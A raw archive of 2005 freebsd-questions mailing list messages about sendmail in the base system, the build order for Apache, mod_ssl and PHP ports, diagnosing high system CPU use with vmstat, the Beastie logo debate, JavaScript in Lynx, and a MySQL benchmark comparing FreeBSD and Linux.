9 Feb 2005 21:04:03 -0800 (PST) From: saravanan ganapathy To: freebsd-questions@freebsd.org In-Reply-To: <200502091620.05081@harrymail> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: Re: sendmail issue X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 05:04:05 -0000 --- Emanuel Strobl wrote: > Am Mittwoch, 9. Februar 2005 16:15 schrieb saravanan > ganapathy: > > Hai , > > > > I am using 5.3 release with updated all the ports. > > > > I am facing a problem with sendmail. > > > > # pkg_info | grep sendmail > > sendmail-8.13.3 Reliable,.... > > # /usr/local/etc/rc.d/sendmail.sh start > > # netstat -an | grep 25 > > tcp6 0 0 *.25 *.* LISTEN > > tcp4 0 0 *.25 *.* LISTEN > > # telnet 127.0.0.1 25 > > Trying 127.0.0.1... > > Connected to localhost. > > Escape character is '^]' > > 220 ....ESMTP Sendmail 8.13.3/8.13.1; > > > > It works fine. But I also found that another > sendmail > > which is in /etc/rc.d/sendmail > > Sendmail is part of the FreeBSD base system. I don't > know if the prot disables > the base sendmail, you can always add > 'sendmail_enable="NONE"' to > your /etc/rc.conf. > > -Harry How to uninstall the sendmail which comes in the base system? How to know what are all the packages are comes by default in the base system? Sarav __________________________________ Do you Yahoo!? Yahoo! Mail - Helps protect you from nasty viruses. http://promotions.yahoo.com/new_mail From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 05:04:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0818C16A4CE for ; Thu, 10 Feb 2005 05:04:36 +0000 (GMT) Received: from mail.meangrape.com (mail.meangrape.com [209.223.7.159]) by mx1.FreeBSD.org (Postfix) with SMTP id 50B7843D1D for ; Thu, 10 Feb 2005 05:04:35 +0000 (GMT) (envelope-from jay@meangrape.com) Received: (qmail 26407 invoked by uid 1002); 10 Feb 2005 05:05:29 -0000 Date: Wed, 9 Feb 2005 23:05:29 -0600 From: Jay To: Olivier Nicole Message-ID: <20050210050529.GM47217@mail.meangrape.com> Mail-Followup-To: Jay , Olivier Nicole , freebsd-questions@freebsd.org References: <200502100423.j1A4NsJ2081566@banyan.cs.ait.ac.th> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="+ARLBH93C7pgvpZY" Content-Disposition: inline In-Reply-To: <200502100423.j1A4NsJ2081566@banyan.cs.ait.ac.th> X-PGP-Signature: C9C8 6FEE 0E34 A778 8D4A 5240 B5C6 6B4A C364 241A User-Agent: Mutt/1.5.7i cc: freebsd-questions@freebsd.org Subject: Re: Apache + modssl + mod_php4 +++ X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 05:04:36 -0000 --+ARLBH93C7pgvpZY Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Feb 10, 2005 at 11:23:54AM +0700, Olivier Nicole wrote: > I found in the ports: >=20 > lang/php4 > lang/php4-extension > www/mod_php4 > www/apache13-modssl >=20 > There must be a specific order to build/install these, but i cannot > figure it out. I'm not a php guy, so this is an educated guess. Install lang/php4-extension...that will pull in php4 -- and, looking at the Makefile, a bunch of other things. =20 OK, php4 can pull in Apache. You want to install apache13-modssl. I'd install apache, then install php4-extensions, then install mod_php4. --=20 Jay. --+ARLBH93C7pgvpZY Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCuuZtcZrSsNkJBoRAjOZAJ4jlNATPkVUDDlNkXOWVkPZKcmA8wCcDMgV xZU8ccv+QNCagUa16KC4SRU= =x7mw -----END PGP SIGNATURE----- --+ARLBH93C7pgvpZY-- From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 05:07:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8A58716A4CE for ; Thu, 10 Feb 2005 05:07:22 +0000 (GMT) Received: from hub.org (hub.org [200.46.204.220]) by mx1.FreeBSD.org (Postfix) with ESMTP id DBD5843D55 for ; Thu, 10 Feb 2005 05:07:21 +0000 (GMT) (envelope-from scrappy@hub.org) Received: from localhost (unknown [200.46.204.144]) by hub.org (Postfix) with ESMTP id 26C6912ADDD; Thu, 10 Feb 2005 01:07:20 -0400 (AST) Received: from hub.org ([200.46.204.220]) by localhost (av.hub.org [200.46.204.144]) (amavisd-new, port 10024) with ESMTP id 78901-06; Thu, 10 Feb 2005 05:07:20 +0000 (GMT) Received: from ganymede.hub.org (blk-224-186-245.eastlink.ca [24.224.186.245]) by hub.org (Postfix) with ESMTP id BE0241291F2; Thu, 10 Feb 2005 01:07:18 -0400 (AST) Received: by ganymede.hub.org (Postfix, from userid 1000) id CE925341CE; Thu, 10 Feb 2005 01:07:17 -0400 (AST) Received: from localhost (localhost [127.0.0.1]) by ganymede.hub.org (Postfix) with ESMTP id CD1ED33FC8; Thu, 10 Feb 2005 01:07:17 -0400 (AST) Date: Thu, 10 Feb 2005 01:07:17 -0400 (AST) From: "Marc G. Fournier" To: "Chad Leigh -- Shire.Net LLC" In-Reply-To: Message-ID: <20050210010628.C94338@ganymede.hub.org> References: <20050208231208.B94338@ganymede.hub.org> <20050209002232.B94338@ganymede.hub.org> <20050209210602.X94338@ganymede.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: by amavisd-new at hub.org cc: freebsd-questions@freebsd.org Subject: Re: 99% CPU usage in System (Was: Re: vinum in 4.x poor performer?) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 05:07:22 -0000 On Wed, 9 Feb 2005, Chad Leigh -- Shire.Net LLC wrote: > > On Feb 9, 2005, at 6:34 PM, Marc G. Fournier wrote: > >> >> Most odd, there definitely has to be a problem with the Dual-Xeon ysystem >> ... doing the same vmstat on my other vinum based system, running more, but >> on a Dual-PIII shows major idle time: >> >> # vmstat 5 >> procs memory page disks faults cpu >> r b w avm fre flt re pi po fr sr da0 da1 in sy cs us sy >> id >> 20 1 0 4088636 219556 1664 1 2 1 3058 217 0 0 856 7937 2186 51 >> 15 34 >> 20 1 0 4115372 224220 472 0 0 0 2066 0 0 35 496 2915 745 7 7 >> 86 >> 10 1 0 4125252 221788 916 0 0 0 2513 0 2 71 798 4821 1538 6 >> 11 83 >> 9 1 0 36508 228452 534 0 0 2 2187 0 0 46 554 3384 1027 3 >> 8 89 >> 11 1 0 27672 218828 623 0 6 0 2337 0 0 61 583 2607 679 3 9 >> 88 >> 16 1 0 5776 220540 989 0 0 0 2393 0 9 32 514 3247 1115 3 >> 8 90 >> >> Which leads me further to believe this is a Dual-Xeon problem, and much >> further away from believing it has anything to do with software RAID :( > > I only use AMD, so I cannot provide specifics, but look in the BIOS at boot > time and see if there is anything strange looking in the settings. Unfortunately, I'm dealing with remote servers, so without something specific to get a remote tech to check, BIOS related stuff will have to wait until I can visit the servers persoally :( > Chad > >> >> >> On Wed, 9 Feb 2005, Marc G. Fournier wrote: >> >>> >>> still getting this: >>> >>> # vmstat 5 >>> procs memory page disks faults cpu >>> r b w avm fre flt re pi po fr sr da0 da1 in sy cs us sy >>> id >>> 11 2 0 3020036 267944 505 2 1 1 680 62 0 0 515 4005 918 7 38 >>> 55 >>> 19 2 0 3004568 268672 242 0 0 0 277 0 0 3 338 2767 690 1 99 >>> 0 >>> 21 2 0 2999152 271240 135 0 0 0 306 0 6 9 363 1749 525 1 99 >>> 0 >>> 13 2 0 3001508 269692 87 0 0 0 24 0 3 3 302 1524 285 1 99 >>> 0 >>> 17 2 0 3025892 268612 98 0 1 0 66 0 5 6 312 1523 479 3 97 >>> 0 >>> >>> Is there a way of determining what is sucking up so much Sys time? stuff >>> like pperl scripts running and such would use 'user time', no? I've got >>> some high CPU processes running, but would expect them to be shooting up >>> the 'user time' ... >>> >>> USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND >>> setiathome 21338 16.3 0.2 7888 7408 ?? RJ 9:05PM 0:11.35 >>> /usr/bin/perl -wT /usr/local/majordomo/bin/mj_queuerun -v 0 >>> setiathome 21380 15.1 0.1 2988 2484 ?? RsJ 9:06PM 0:02.42 >>> /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d postgresql.org >>> -l pgsql-sql -P10 -p10 >>> setiathome 21384 15.5 0.1 2988 2484 ?? RsJ 9:06PM 0:02.31 >>> /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d postgresql.org >>> -l pgsql-docs -P10 -p10 >>> setiathome 21389 15.0 0.1 2720 2216 ?? RsJ 9:06PM 0:02.06 >>> /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d postgresql.org >>> -l pgsql-hackers -P10 -p10 >>> setiathome 21386 13.7 0.1 2720 2216 ?? RsJ 9:06PM 0:02.03 >>> /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d postgresql.org >>> -l pgsql-ports -P10 -p10 >>> setiathome 21387 13.2 0.1 2724 2220 ?? RsJ 9:06PM 0:01.92 >>> /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d postgresql.org >>> -l pgsql-interfaces -P10 -p10 >>> setiathome 21390 14.6 0.1 2724 2216 ?? RsJ 9:06PM 0:01.93 >>> /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -o -d postgresql.org >>> -l pgsql-performance -P10 -p10 >>> setiathome 21330 12.0 0.2 8492 7852 ?? RJ 9:05PM 0:15.55 >>> /usr/bin/perl -wT /dev/fd/3//usr/local/www/mj/mj_wwwusr (perl5.8.5) >>> setiathome 7864 8.9 0.2 8912 8452 ?? RJ 7:20PM 29:54.88 >>> /usr/bin/perl -wT /usr/local/majordomo/bin/mj_trigger -t hourly >>> >>> Is there some way of finding out where all the Sys Time is being used? >>> Something more fine grained them what vmstat/top shows? >>> >>> >>> On Wed, 9 Feb 2005, Loren M. Lang wrote: >>> >>>> On Wed, Feb 09, 2005 at 02:32:30AM -0400, Marc G. Fournier wrote: >>>>> Is there a command that I can run that provide me the syscall/sec value, >>>>> that I could use in a script? I know vmstat reports it, but is there an >>>>> easier way the having to parse the output? a perl module maybe, that >>>>> already does it? >>>> vmstat shouldn't be too hard to parse, try the following: >>>> vmstat|tail -1|awk '{print $15;}' >>>> To print out the 15th field of vmstat. Now if you want vmstat to keep >>>> running every five seconds or something, it's a little more complicated: >>>> vmstat 5|grep -v 'procs\|avm'|awk '{print $15;}' >>>>> Thanks ... >>>>> On Wed, 9 Feb 2005, Marc G. Fournier wrote: >>>>>> On Tue, 8 Feb 2005, Dan Nelson wrote: >>>>>>> Details on the array's performance, I think. Software RAID5 will >>>>>>> definitely have poor write performance (logging disks solve that >>>>>>> problem but vinum doesn't do that), but should have excellent read >>>>>>> rates. From this output, however: >>>>>>>> systat -v output help: >>>>>>>> 4 users Load 4.64 5.58 5.77 >>>>>>>> Proc:r p d s w Csw Trp Sys Int Sof Flt >>>>>>>> 24 9282 949 8414***** 678 349 8198 >>>>>>>> 54.6%Sys 0.2%Intr 45.2%User 0.0%Nice 0.0%Idl >>>>>>>> Disks da0 da1 da2 da3 da4 pass0 pass1 >>>>>>>> KB/t 5.32 9.50 12.52 16.00 9.00 0.00 0.00 >>>>>>>> tps 23 2 4 3 1 0 0 >>>>>>>> MB/s 0.12 0.01 0.05 0.04 0.01 0.00 0.00 >>>>>>>> % busy 3 1 1 1 0 0 0 >>>>>>> , it looks like your disks aren't being touched at all. You are doing >>>>>>> over 99999 syscalls/second, though, which is mighty high. The 50% Sys >>>>>>> doesn't look good either. You may have a runaway process doing some >>>>>>> syscall over and over. If this is not an MPSAFE syscall (see >>>>>>> /sys/kern/syscalls.master ), it will also prevent other processes from >>>>>>> making non-MPSAFE syscalls, and in 4.x that's most of them. >>>>>> Wow, that actually pointed me in the right direction, I think ... I >>>>>> just >>>>>> killed an http process that was using alot of CPU, and syscalls drop'd >>>>>> down to a numeric value again ... I'm still curious as to why this only >>>>>> seem sto affect my Dual-Xeon box though :( >>>>>> Thanks ... >>>>>> ---- >>>>>> Marc G. Fournier Hub.Org Networking Services >>>>>> (http://www.hub.org) >>>>>> Email: scrappy@hub.org Yahoo!: yscrappy ICQ: >>>>>> 7615664 >>>>>> _______________________________________________ >>>>>> freebsd-questions@freebsd.org mailing list >>>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >>>>>> To unsubscribe, send any mail to >>>>>> "freebsd-questions-unsubscribe@freebsd.org" >>>>> ---- >>>>> Marc G. Fournier Hub.Org Networking Services >>>>> (http://www.hub.org) >>>>> Email: scrappy@hub.org Yahoo!: yscrappy ICQ: >>>>> 7615664 >>>>> _______________________________________________ >>>>> freebsd-questions@freebsd.org mailing list >>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >>>>> To unsubscribe, send any mail to >>>>> "freebsd-questions-unsubscribe@freebsd.org" >>>> -- >>>> I sense much NT in you. >>>> NT leads to Bluescreen. >>>> Bluescreen leads to downtime. >>>> Downtime leads to suffering. >>>> NT is the path to the darkside. >>>> Powerful Unix is. >>>> Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc >>>> Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C >>> >>> ---- >>> Marc G. Fournier Hub.Org Networking Services >>> (http://www.hub.org) >>> Email: scrappy@hub.org Yahoo!: yscrappy ICQ: >>> 7615664 >>> _______________________________________________ >>> freebsd-questions@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >>> To unsubscribe, send any mail to >>> "freebsd-questions-unsubscribe@freebsd.org" >>> >> >> ---- >> Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) >> Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to >> "freebsd-questions-unsubscribe@freebsd.org" > > ---- Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 05:51:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1F32E16A4CE for ; Thu, 10 Feb 2005 05:51:27 +0000 (GMT) Received: from out009.verizon.net (out009pub.verizon.net [206.46.170.131]) by mx1.FreeBSD.org (Postfix) with ESMTP id 86D5443D41 for ; Thu, 10 Feb 2005 05:51:26 +0000 (GMT) (envelope-from leblanc@keyslapper.org) Received: from keyslapper.org ([68.163.189.143]) by out009.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050210055125.XXDJ4172.out009.verizon.net@keyslapper.org> for ; Wed, 9 Feb 2005 23:51:25 -0600 Received: from localhost (localhost [127.0.0.1]) by keyslapper.org (Postfix) with ESMTP id 001B511E41 for ; Thu, 10 Feb 2005 00:51:24 -0500 (EST) Received: from keyslapper.org ([127.0.0.1]) by localhost (keyslapper.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 09535-01 for ; Thu, 10 Feb 2005 00:51:17 -0500 (EST) Received: by keyslapper.org (Postfix, from userid 1001) id 5C8A111E11; Thu, 10 Feb 2005 00:51:17 -0500 (EST) Date: Thu, 10 Feb 2005 00:51:17 -0500 From: Louis LeBlanc To: freebsd-questions@freebsd.org Message-ID: <20050210055117.GA96699@keyslapper.net> Mail-Followup-To: freebsd-questions@freebsd.org References: <20050209215358.BBE0643D31@mx1.FreeBSD.org> <420A86FC.1090207@tvog.net> <20050209220204.A07EB43D2F@mx1.FreeBSD.org> <20050209221045.GA18867@fw.farid-hajji.net> <20050209225030.GH18088@keyslapper.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="45Z9DzgjV8m4Oswq" Content-Disposition: inline In-Reply-To: X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.7i X-Virus-Scanned: amavisd-new at keyslapper.net X-Authentication-Info: Submitted using SMTP AUTH at out009.verizon.net from [68.163.189.143] at Wed, 9 Feb 2005 23:51:25 -0600 Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 05:51:27 -0000 --45Z9DzgjV8m4Oswq Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On 02/09/05 09:45 PM, Chad Leigh -- Shire.Net LLC sat at the `puter and typ= ed: >=20 > On Feb 9, 2005, at 3:50 PM, Louis LeBlanc wrote: >=20 > > And in the past, I've only ever worn or > > used logos if they were for the Red Sox, the Patriots (and even those > > sparingly), or a free shirt. Hey, free is free, right? >=20 > What, no Celtics? Not much of a hoop fan :| > I will admit to having bought lots of Apple shirts and a Celtics shirt.= =20 > The rest of my logos shirts are of the free sort I pick up at=20 > conferences and from vendors :-) I snatch 'em at work when the penguin boxes come in :) > As regards the thread topic. >=20 > I think the poster who mentioned that a logo and a mascot are not=20 > necessarily the same. That is a valid point. I think it would be bad=20 > if "Beastie" were to disappear. But there is an advantage to having a=20 > more "business like" logo in addition to the mascot for those times=20 > when such things as "Beastie" might be imprudent. Yes, but business is why Microsoft Windows (*) sucks old rocks. Microsoft is in business to make money, not better software. I was always under the impression that while the FreeBSD foundation was "in business" to promote FreeBSD, the chief focus of the core team has always been a better OS. Keeping Beastie is a statement of sorts that the FreeBSD team is NOT interested in business, just their work. Once upon a time, a geek could get by with their idiosyncrasies because they were obviously not interested in the power points that the businessmen and politicians wanted. They were only interested in their gadgetry, software, and whatever cool new technology came along. Now, one by one, everyone's worried about "business like" images, logos, and whatnot. You may be right, but I still strongly (but respectfully) disagree. Lou --=20 Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Please send off-list email to: leblanc at keyslapper d.t net Key fingerprint =3D C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 The Law of the Letter: The best way to inspire fresh thoughts is to seal the envelope. --45Z9DzgjV8m4Oswq Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCvZVr4Wi/oDI2aIRAqLoAJ9QUjSvDDWkhGtf8Itz7tGkZG+KWgCgjWyZ Kb3+MhPyZwd/q/ka1RXVzno= =Xf0q -----END PGP SIGNATURE----- --45Z9DzgjV8m4Oswq-- From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 06:03:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8145716A4CE for ; Thu, 10 Feb 2005 06:03:36 +0000 (GMT) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6BEAC43D1D for ; Thu, 10 Feb 2005 06:03:35 +0000 (GMT) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.12.11/8.12.11) with ESMTP id j1A63Utl094919 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 10 Feb 2005 13:03:30 +0700 (ICT) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.13.1/8.12.11) id j1A63Sqg083470; Thu, 10 Feb 2005 13:03:28 +0700 (ICT) Date: Thu, 10 Feb 2005 13:03:28 +0700 (ICT) Message-Id: <200502100603.j1A63Sqg083470@banyan.cs.ait.ac.th> From: Olivier Nicole To: jay@meangrape.com In-reply-to: <20050210050529.GM47217@mail.meangrape.com> (message from Jay on Wed, 9 Feb 2005 23:05:29 -0600) References: <200502100423.j1A4NsJ2081566@banyan.cs.ait.ac.th> <20050210050529.GM47217@mail.meangrape.com> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) cc: freebsd-questions@freebsd.org Subject: Re: Apache + modssl + mod_php4 +++ X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 06:03:36 -0000 > > lang/php4 > > lang/php4-extension > > www/mod_php4 > > www/apache13-modssl > > There must be a specific order to build/install these, but i cannot > > figure it out. > OK, php4 can pull in Apache. You want to install apache13-modssl. > I'd install apache, then install php4-extensions, then install mod_php4. It looks like a good guess. install apache-modssl, then php-extension then php (it seems that mod-php is only the loadable module for Apache, while phpo contains both loadablemodule and standalone interpreter). Thanks, olivier From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 06:32:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 776C416A4CE for ; Thu, 10 Feb 2005 06:32:37 +0000 (GMT) Received: from lakermmtao02.cox.net (lakermmtao02.cox.net [68.230.240.37]) by mx1.FreeBSD.org (Postfix) with ESMTP id B231843D2F for ; Thu, 10 Feb 2005 06:32:36 +0000 (GMT) (envelope-from vince@vjs.org) Received: from [10.185.220.149] (really [68.100.149.251]) by lakermmtao02.cox.net (InterMail vM.6.01.04.00 201-2131-117-20041022) with ESMTP id <20050210063234.RPIM22470.lakermmtao02.cox.net@[10.185.220.149]> for ; Thu, 10 Feb 2005 01:32:34 -0500 Mime-Version: 1.0 Message-Id: X-Mailer: Eudora 8.0b19 for Cray SV-2 (beta release), unregistered Date: Thu, 10 Feb 2005 01:32:29 -0500 To: freebsd-questions@freebsd.org From: Vince Sabio Content-Type: text/plain; charset="us-ascii" ; format="flowed" Subject: Javascript in Lynx X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 06:32:37 -0000 I'm running 5.1-RELEASE, and need to use Lynx via an ssh session to access my firewall's administrative interface. Logging into the firewall requires javascript. My FreeBSD machine has a stock installation of Lynx Version 2.8.4rel.1. I've gone through the [O]ptions in Lynx to find some means of enabling javascript, but haven't been able to locate it. The on-line docs don't seem to mention anything about it. Does Lynx even support javascript? If so, how do I enable it? -- __________________________________________________________________________ Vince Sabio vince@vjs.org From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 07:20:50 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 805C416A4CE; Thu, 10 Feb 2005 07:20:50 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id D140B43D4C; Thu, 10 Feb 2005 07:20:49 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1A7Khj18671; Wed, 9 Feb 2005 23:20:43 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Joe Kelsey" , "Matt Olander" Date: Wed, 9 Feb 2005 23:20:42 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <1108005975.683.47.camel@zircon.zircon.seattle.wa.us> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org Subject: RE: FreeBSD 5.3 MySQL Performance X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 07:20:50 -0000 owner-freebsd-questions@freebsd.org wrote: > On Wed, 2005-02-09 at 16:44 -0800, Matt Olander wrote: >> On Wed, Feb 09, 2005 at 07:58:56PM -0500, Alec Berryman wrote: >>>> Also, does anybody have any FreeBSD 5.3/MySQL benchmarks? I >>>> searched the mailing lists but didn't turn up anything. >>> >>> There was an article posted to Newsforge today about benchmarking >>> MySQL on different operating systems. >> >> oh! thanks...but according to this article, Linux outperformed >> FreeBSD in every metric shown :-( >> No, not true, reread the article. Performance was on par for uniprocessor versions of Linux and FreeBSD for most tests. Also, the author said the following about the testing: "highest performer in one category for a limited set of tests does not a "best" operating system make." Please keep in mind that editors of publications love benchmarking articles, because they always get someone's tit in a wringer, and attract a lot of attention. And attention sells newspapers. But you shouldn't take these things too seriously. The article points out a few things and the accompanying reader responses point out a few more things that are educational if you are choosing to run a database on a UNIX system, but by no means should the article be used as the sole basis for choosing one OS over another. People that do benchmarking and publish the results are generally hoping to help point out problems. Sometimes this is because they have an axe to grind and want to see their favorite OS or program or whatever get some attention, sometimes just because it's nice to see some of your work in print. But regardless of why they do it, the results are valuable, because if problems that benchmarking reveals wern't pointed out, they wouldn't ever get fixed. My take on the article is the most surprising thing in it was that Sun's own support staff couldn't answer the authors query about why Solaris was so slow, and the author finally figured it out by himself (The filesystem wasn't mounted with the forcedirect option) and set the needed option, whereupon performance dramatically improved. We always hear from commercial OS vendors how their products are so much better because they are supported - well it seems to me that if Sun's support was this bad for their own OS, well that throws the entire argument out the window, don't it? >> is that accurate? > > LinuxThreads is the WORST implementation of threading that anyone can > imagine. Do not ever use Linux or the horrid LinuxThreads for > anything that you want to save. > > Any so-called "benchmark" comparing Linux to anything else (especially > windoze) has been polluted by the tradition in the linux/windoze world > of running their disks in the completely unsafe "asynchronous" mode so > popular with the ATA disk drive manufacturers. The author of the article avoided this by using a test method that in his words: "I performed one test run to prime the system, almost all of the data was cached by MySQL, so there was little or no disk access." > > Many companies have used FreeBSD and MySQL for years and years. There > is no reason to not jump to FreeBSD and start using MySQL. Exactly, we use MySQL and FreeBSD quite a lot and have no problem with it. > At my last > job, we ran very large MySQL databases on FreeBSD. For speed we used > 15,000 RPM SCSI-3 disk drives. This gives you all the speed you need > with the guaranteed safety of FreeBSD. Of course, SCSI-3 15,000 RPM > drives are more expensive than those wimpy ATA drives. > You see, this here points out the crux of the problem. Boiled down the article essentially said that Linux performed better because it's SMP implementation allowed mysql to take advantage of both CPU's while FreeBSD's SMP implementation didn't. But you see the problem with this is that in a real life situation, it is not often that you have such a small database and such a large amount of system memory that the OS can load the entire database into a disk cache in ram. As you can no doubt understand, if the database is on disk all the additional CPU's in the world won't make the database run any faster once the disk channel gets saturated, which is easy to do. And even if you can load the entire database in ram, if you make a lot of writes to it, the system has to push these to the disk channel eventually, unless of course you like for your entire database to vanish if there's a power interruption or system crash of some kind. So for a situation of a steady stream of writes, you end up I/O bound again. SMP on a database is no help if the system is I/O bound. And if your database is going to I/O bind, because of how it's used and setup and how big it is, then this benchmark article is completely useless to you. And even if your database isn't going to I/O bind then read the following comment one of the readers posted regarding OpenBSD and FreeBSD: "They both use userland only threading, and therefore mysql is only ever running on a single CPU, no matter how many are in the system ...Different processes will run on different CPUs just fine, postgresql for instance would see an increase in perfomance on these platforms" One last thing about SMP - rarely is mysql used in a vacuum, many times it's paired up with apache. In those cases if there's multiple accesses to the server at the same time then even though mysql only runs on 1 cpu, an instance of apache may be on the other cpu at the same time, answering some other query. So when you take in all the other stuff on a typical production mysql server, the multithreading in linux isn't going to make any difference for just 2 CPU's. Ted From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 07:50:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 83DD616A4CE for ; Thu, 10 Feb 2005 07:50:42 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.206]) by mx1.FreeBSD.org (Postfix) with ESMTP id F031243D45 for ; Thu, 10 Feb 2005 07:50:41 +0000 (GMT) (envelope-from freebsd99@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so1239481wri for ; Wed, 09 Feb 2005 23:50:41 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; 